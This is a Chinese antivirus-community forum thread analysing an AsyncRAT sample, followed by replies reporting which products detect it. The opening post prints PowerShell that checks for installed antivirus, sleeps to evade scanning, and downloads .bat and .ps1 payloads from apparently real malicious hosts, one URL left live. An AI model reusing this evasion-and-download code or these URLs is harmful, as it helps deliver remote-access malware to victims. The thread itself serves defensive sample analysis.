现在的AsyncRAT也这么精明了？

显示全部楼层 · 发表于 2021-5-4 23:24:40

本帖最后由 QVM360 于 2021-5-6 18:47 编辑

#AsyncRAT (2021-05-04).zip - 蓝奏云 (lanzoui.com)
GK58.vbs ---Download From (hxxps://teammagical.com/3.txt)--->payload_0.ps1
payload_0.ps1会检测安装的杀毒软件：
如果是Avast, AVG:

if([System.IO.File]::Exists("C:\Program Files\Avast Software\Avast\AvastUI.exe")){
start-sleep -s 10

复制代码

程序停止10秒，绕过Deepscreen

，并下载hxxps://lax007.hawkhost.com/~mazennet/def/GoogleUpdate.bat, hxxps://teammagical.com/1.txt
1.txt就是payload_0_0.ps1
如果是eset:

elseif([System.IO.File]::Exists("C:\Program Files\ESET\ESET Security\ecmds.exe")){
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://teammagical.com/2.txt', 'C:\Users\Public\msi.ps1') }"

复制代码

就下载hxxps://lax007.hawkhost.com/~mazennet/def/GoogleUpdate.bat, hxxps://teammagical.com/2.txt （注意这里是2.txt，估计是专门绕过eset的）2.txt就是payload_0_1.ps1
如果是Windows Defender，就先禁用defender再开始恶意行为

显示全部楼层 · 发表于 2021-5-4 23:29:11

请用hxxps替代所有恶意超链接

显示全部楼层 · 发表于 2021-5-4 23:32:51

诺顿

文件名: payload_0.ps1
威胁名称: ISB.Downloader!gen281

显示全部楼层 · 发表于 2021-5-4 23:50:03

本帖最后由秋日之殇于 2021-5-4 23:55 编辑

卡巴扫描killx2，双击一个云端已经拉黑，另一个主防杀

显示全部楼层 · 发表于 2021-5-5 00:48:39

我看到有个衍生物4.9日就出现在vt了……之前一家不杀，然而现在也就只有eset扫描到https://www.virustotal.com/gui/f ... 249bd040556/details

显示全部楼层 · 发表于 2021-5-5 00:54:05

火绒自定义防护拦截

显示全部楼层 · 发表于 2021-5-5 01:00:38

瑞星ESM365
miss all

显示全部楼层 · 发表于 2021-5-5 06:31:29

ESET Endpoint Security for Windows
powershell/agent.ti
powershell/trojandownloader.agent.dtx
The web page is on the list of websites with potentially dangerous content.

显示全部楼层 · 发表于 2021-5-5 19:00:33

eis kill 3x

显示全部楼层 · 发表于 2021-5-5 20:38:10

eset现在清空了

[病毒样本] 现在的AsyncRAT也这么精明了？

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源